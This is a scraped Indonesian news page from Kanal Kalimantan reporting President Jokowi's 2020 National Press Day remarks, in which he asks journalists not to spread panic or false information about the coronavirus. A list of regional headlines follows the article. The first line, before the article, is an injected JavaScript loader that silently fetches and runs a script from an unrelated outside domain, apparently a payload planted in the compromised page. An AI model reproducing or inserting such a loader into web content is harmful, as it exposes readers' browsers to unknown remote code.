(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jokowi: Pers yang Baik Jangan Bikin Kepanikan, Apalagi Ikut Berikan Informasi Salah


KANALKALIMANTAN.COM, BANJARBARU – Dalam menyambut momen Hari Pers Nasional (HPN) 2020, Presiden RI Joko Widodo menyebut wartawan sudah menjadi teman baginya. Karena, ke manapun Jokowi pergi ataupun menghadiri suatu agenda, wartawan selalu menunggu Jokowi untuk diwawancarai melalui doorstop.

“Yang mengejar saya sehari-hari, yang menghadap saya melalui doorstop yang menyebabkan saya kadang gugup dan gagap karena tidak siap ditanyakan sesuatu juga insan pers,” kata Jokowi.

Bagi Jokowi, alih-alih benci tapi rindu, dirinya menyebutnya sebagai ‘selalu di hati dan selalu rindu’ jika berhadapan dengan insan pers. Sehingga, Jokowi mengapresiasi insan pers sebagai fungsi kontrol pemerintah melalui kritik yang disampaikan.

Baca juga: Rayakan Hari Pers Nasional 2020 di Banjarbaru, Jokowi Tanam Pohon Mersawa

“Saya mengapresiasi insan pers sebagai pilar keempat demokrasi terutama dalan Pileg dan Pilpres 2019 yang diakui sebagai pemilu terbesar dan terumit di dunia, karena pers berperan besar dalam partisipasi masyarakat dan menjaga situasi menjadi kondusif,” katanya.

Presiden Jokowi saat menghadiri puncak peringatan HPN 2020 di Banjarbaru, Sabtu (8/2/2020). foto: fikri

Jokowi pun berharap partisipasi insan pers dalam menyukseskan Pilkada serentak tahun 2020 di 270 daerah secara maksimal. Tak hanya soal politik, Jokowi juga mengharapkan peran insan pers dalam menghadapi situasi darurat, seperti virus Corona yang baru-baru ini merebak di dunia.

“Insan pers diharapkan membantu menyampaikan informasi kepada masyarakat dan tidak menambah kepanikan apalagi ikut memberikan informasi yang salah,” tegasnya.

Insan pers sendiri, menurut Jokowi, berada di garis depan dalam melawan berbagai kekacauan informasi yang dilakukan dengan sengaja. Seperti hoaks, ujaran kebencian, dan fitnah yang mengancam kehidupan demokrasi bangsa Indonesia.

“Masyarakat yang sehat merupakan masyarakat yang mendapatkan informasi yang sehat dan baik. Informasi yang baik memerlukan jurnalisme yang baik dan ekosistem yang baik,” tegas Jokowi. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie


Al Ghifari

Recent Posts

Banjir Merendam 9 Kecamatan di HSU, ‎Bupati Sahrujani Salurkan Bantuan

‎KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus bergerak masif dalam menyalurkan bantuan… Read More

21 menit ago

Kader PDIP Kalsel Roseham NB Tolak Wacana Pilkada Melalui DPRD

KANALKALIMANTAN.COM, BANJARMASIN — Kader PDI Perjuangan Kalimantan Selatan (Kalsel), H Muhammad Rosehan NB menolak wacana… Read More

26 menit ago

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

16 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

24 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

2 hari ago

This website uses cookies.